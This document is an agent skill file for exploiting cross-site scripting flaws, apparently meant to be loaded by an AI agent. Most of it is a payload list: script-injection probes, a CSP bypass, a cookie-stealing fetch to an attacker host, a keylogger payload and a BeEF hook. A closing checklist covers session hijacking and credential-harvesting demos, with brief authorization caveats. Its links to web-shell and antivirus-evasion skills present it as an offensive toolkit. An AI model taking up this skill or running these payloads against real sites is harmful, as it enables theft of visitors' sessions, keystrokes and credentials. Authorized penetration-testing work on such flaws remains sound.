Cross Site Scripting Exploitation

---
name: cross-site-scripting-exploitation
description: "Use when exploiting XSS vulnerabilities."
version: 1.0.0
author: Hermes Agent
license: MIT
metadata:
  hermes:
    tags: [XSS, cross-site-scripting, stored, reflected, DOM-based, CSP-bypass, cookie-steal]
    related_skills: [sql-injection-exploitation, webapp-penetration-testing, web-shell-deployment, evasion-techniques-av-bypass]
---

# Cross-Site Scripting Exploitation

Exploiting XSS vulnerabilities — from reflected, stored, and DOM-based through CSP bypass, session hijacking, keylogging, and BeEF integration.

## When to Use

- Detecting and exploiting XSS vulnerabilities
- Bypassing CSP (Content Security Policy)
- Session hijacking via XSS
- XSS for phishing and credential harvesting (authorized testing)

## XSS Payloads

```python
XSS_TYPES = {
    'reflected': "Payload in URL/parameter, reflected immediately in response",
    'stored': "Payload stored on server (comments, profiles), served to all visitors",
    'dom_based': "Payload executed via client-side JS (URL fragment, eval, innerHTML)",
}

XSS_PAYLOADS = {
    'basic_alert': "<script>alert(1)</script>",
    'img_onerror': "<img src=x onerror=alert(1)>",
    'svg_onload': "<svg/onload=alert(1)>",
    'body_onload': "<body onload=alert(1)>",
    'iframe': "<iframe onload=alert(1)>",
    'csp_bypass': "<script src='https://cdn.example.com/angular.js' onload=angular.module('x').run()></script>",
    'cookie_steal': "<script>fetch('https://attacker.com/c?'+document.cookie)</script>",
    'keylogger': "<script>document.onkeypress=e=>fetch('/log?k='+e.key)</script>",
}

# BeEF hook URL
BEEF_HOOK = "<script src='https://attacker.com/hook.js'></script>"
```

## Verification Checklist

- [ ] XSS type identified (reflected, stored, DOM-based)
- [ ] Context determined (HTML, attribute, JS, CSS, URL)
- [ ] Basic payload confirmed (<script>alert(1)</script>)
- [ ] WAF/CSP bypass attempted
- [ ] Impact demonstrated (cookie stealing, page defacement, keylogging)
- [ ] BeEF hook deployed for browser exploitation (if scoped)
- [ ] Credential harvesting PoC (authorized targets only)
- [ ] Self-XSS distinguished from actual vulnerability
- [ ] Remediation guidance provided (output encoding, CSP, input validation)